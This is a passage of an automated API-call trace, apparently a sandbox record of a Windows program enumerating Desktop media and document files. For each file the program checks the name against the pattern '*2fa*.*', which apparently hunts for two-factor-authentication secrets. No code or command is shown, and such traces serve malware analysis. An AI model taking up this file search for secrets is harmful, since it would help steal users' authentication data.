lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.757] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.757] lstrcatW (in: lpString1="\\", lpString2="itQ3y7 _7jtUy-n5Tj.wav" | out: lpString1="\\itQ3y7 _7jtUy-n5Tj.wav") returned="\\itQ3y7 _7jtUy-n5Tj.wav" [0146.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\itQ3y7 _7jtUy-n5Tj.wav", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0146.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\itQ3y7 _7jtUy-n5Tj.wav", cchWideChar=54, lpMultiByteStr=0x32bab20, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\itQ3y7 _7jtUy-n5Tj.wav", lpUsedDefaultChar=0x0) returned 54 [0146.757] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.757] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236ab88, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.757] PathMatchSpecW (pszFile="itQ3y7 _7jtUy-n5Tj.wav", pszSpec="*2fa*.*") returned 0 [0146.758] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.758] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.758] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="kftoKnOna.m4a" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\kftoKnOna.m4a") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\kftoKnOna.m4a" [0146.758] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.758] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.758] lstrcatW (in: lpString1="\\", lpString2="kftoKnOna.m4a" | out: lpString1="\\kftoKnOna.m4a") returned="\\kftoKnOna.m4a" [0146.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\kftoKnOna.m4a", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0146.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\kftoKnOna.m4a", cchWideChar=45, lpMultiByteStr=0x33400d0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\kftoKnOna.m4a", lpUsedDefaultChar=0x0) returned 45 [0146.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236aba0, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.758] PathMatchSpecW (pszFile="kftoKnOna.m4a", pszSpec="*2fa*.*") returned 0 [0146.758] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.758] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.758] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="KrqEI2ID-.bmp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\KrqEI2ID-.bmp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\KrqEI2ID-.bmp" [0146.758] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.758] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.758] lstrcatW (in: lpString1="\\", lpString2="KrqEI2ID-.bmp" | out: lpString1="\\KrqEI2ID-.bmp") returned="\\KrqEI2ID-.bmp" [0146.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\KrqEI2ID-.bmp", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0146.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\KrqEI2ID-.bmp", cchWideChar=45, lpMultiByteStr=0x33400d0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\KrqEI2ID-.bmp", lpUsedDefaultChar=0x0) returned 45 [0146.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236aba0, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.759] PathMatchSpecW (pszFile="KrqEI2ID-.bmp", pszSpec="*2fa*.*") returned 0 [0146.759] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.759] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.759] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="M8FP6UY.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\M8FP6UY.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\M8FP6UY.png" [0146.759] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.759] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.759] lstrcatW (in: lpString1="\\", lpString2="M8FP6UY.png" | out: lpString1="\\M8FP6UY.png") returned="\\M8FP6UY.png" [0146.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\M8FP6UY.png", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0146.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\M8FP6UY.png", cchWideChar=43, lpMultiByteStr=0x33400d0, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\M8FP6UY.png", lpUsedDefaultChar=0x0) returned 43 [0146.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236aae0, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.759] PathMatchSpecW (pszFile="M8FP6UY.png", pszSpec="*2fa*.*") returned 0 [0146.760] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.760] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.760] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="MApTBDPnV.mkv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MApTBDPnV.mkv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MApTBDPnV.mkv" [0146.760] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.760] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.760] lstrcatW (in: lpString1="\\", lpString2="MApTBDPnV.mkv" | out: lpString1="\\MApTBDPnV.mkv") returned="\\MApTBDPnV.mkv" [0146.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MApTBDPnV.mkv", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0146.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MApTBDPnV.mkv", cchWideChar=45, lpMultiByteStr=0x33400d0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MApTBDPnV.mkv", lpUsedDefaultChar=0x0) returned 45 [0146.760] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.760] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236aac8, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.760] PathMatchSpecW (pszFile="MApTBDPnV.mkv", pszSpec="*2fa*.*") returned 0 [0146.760] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.760] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.760] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="op27XFjVBcQnQEISZr.avi" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\op27XFjVBcQnQEISZr.avi") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\op27XFjVBcQnQEISZr.avi" [0146.761] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.761] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.761] lstrcatW (in: lpString1="\\", lpString2="op27XFjVBcQnQEISZr.avi" | out: lpString1="\\op27XFjVBcQnQEISZr.avi") returned="\\op27XFjVBcQnQEISZr.avi" [0146.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\op27XFjVBcQnQEISZr.avi", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0146.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\op27XFjVBcQnQEISZr.avi", cchWideChar=54, lpMultiByteStr=0x32bb0a0, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\op27XFjVBcQnQEISZr.avi", lpUsedDefaultChar=0x0) returned 54 [0146.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236ab58, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.761] PathMatchSpecW (pszFile="op27XFjVBcQnQEISZr.avi", pszSpec="*2fa*.*") returned 0 [0146.761] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.761] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.761] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="rJjrMg.mp4" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rJjrMg.mp4") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rJjrMg.mp4" [0146.761] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.761] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.761] lstrcatW (in: lpString1="\\", lpString2="rJjrMg.mp4" | out: lpString1="\\rJjrMg.mp4") returned="\\rJjrMg.mp4" [0146.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rJjrMg.mp4", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0146.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rJjrMg.mp4", cchWideChar=42, lpMultiByteStr=0x33400d0, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rJjrMg.mp4", lpUsedDefaultChar=0x0) returned 42 [0146.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.762] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236ac60, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.762] PathMatchSpecW (pszFile="rJjrMg.mp4", pszSpec="*2fa*.*") returned 0 [0146.762] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.762] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.762] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="rnniEqI3o7y6BUr8.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rnniEqI3o7y6BUr8.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rnniEqI3o7y6BUr8.png" [0146.762] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.762] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.762] lstrcatW (in: lpString1="\\", lpString2="rnniEqI3o7y6BUr8.png" | out: lpString1="\\rnniEqI3o7y6BUr8.png") returned="\\rnniEqI3o7y6BUr8.png" [0146.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rnniEqI3o7y6BUr8.png", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0146.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rnniEqI3o7y6BUr8.png", cchWideChar=52, lpMultiByteStr=0x32bab60, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rnniEqI3o7y6BUr8.png", lpUsedDefaultChar=0x0) returned 52 [0146.762] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.762] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236abb8, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.763] PathMatchSpecW (pszFile="rnniEqI3o7y6BUr8.png", pszSpec="*2fa*.*") returned 0 [0146.763] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.763] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.763] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="sAj8v.m4a" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sAj8v.m4a") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sAj8v.m4a" [0146.763] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.763] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.763] lstrcatW (in: lpString1="\\", lpString2="sAj8v.m4a" | out: lpString1="\\sAj8v.m4a") returned="\\sAj8v.m4a" [0146.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sAj8v.m4a", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0146.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sAj8v.m4a", cchWideChar=41, lpMultiByteStr=0x33400d0, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sAj8v.m4a", lpUsedDefaultChar=0x0) returned 41 [0146.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236aab0, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.763] PathMatchSpecW (pszFile="sAj8v.m4a", pszSpec="*2fa*.*") returned 0 [0146.764] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.764] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.764] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="SfNWHleaQqk8JGe.pptx" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\SfNWHleaQqk8JGe.pptx") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\SfNWHleaQqk8JGe.pptx" [0146.764] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.765] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.765] lstrcatW (in: lpString1="\\", lpString2="SfNWHleaQqk8JGe.pptx" | out: lpString1="\\SfNWHleaQqk8JGe.pptx") returned="\\SfNWHleaQqk8JGe.pptx" [0146.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\SfNWHleaQqk8JGe.pptx", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0146.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\SfNWHleaQqk8JGe.pptx", cchWideChar=52, lpMultiByteStr=0x32bae60, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\SfNWHleaQqk8JGe.pptx", lpUsedDefaultChar=0x0) returned 52 [0146.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236ac30, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.765] PathMatchSpecW (pszFile="SfNWHleaQqk8JGe.pptx", pszSpec="*2fa*.*") returned 0 [0146.765] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.765] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.765] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="UEh8BocqrBfZC.swf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\UEh8BocqrBfZC.swf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\UEh8BocqrBfZC.swf" [0146.765] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.765] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.765] lstrcatW (in: lpString1="\\", lpString2="UEh8BocqrBfZC.swf" | out: lpString1="\\UEh8BocqrBfZC.swf") returned="\\UEh8BocqrBfZC.swf" [0146.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\UEh8BocqrBfZC.swf", cchWideChar=49, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0146.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\UEh8BocqrBfZC.swf", cchWideChar=49, lpMultiByteStr=0x32baee0, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\UEh8BocqrBfZC.swf", lpUsedDefaultChar=0x0) returned 49 [0146.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236ab88, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.766] PathMatchSpecW (pszFile="UEh8BocqrBfZC.swf", pszSpec="*2fa*.*") returned 0 [0146.766] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.766] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.766] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="uf7A4eOeh4J7.ppt" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\uf7A4eOeh4J7.ppt") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\uf7A4eOeh4J7.ppt" [0146.766] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.766] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.766] lstrcatW (in: lpString1="\\", lpString2="uf7A4eOeh4J7.ppt" | out: lpString1="\\uf7A4eOeh4J7.ppt") returned="\\uf7A4eOeh4J7.ppt" [0146.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\uf7A4eOeh4J7.ppt", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0146.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\uf7A4eOeh4J7.ppt", cchWideChar=48, lpMultiByteStr=0x33400d0, cbMultiByte=48, lpDefaultChar=0x0, 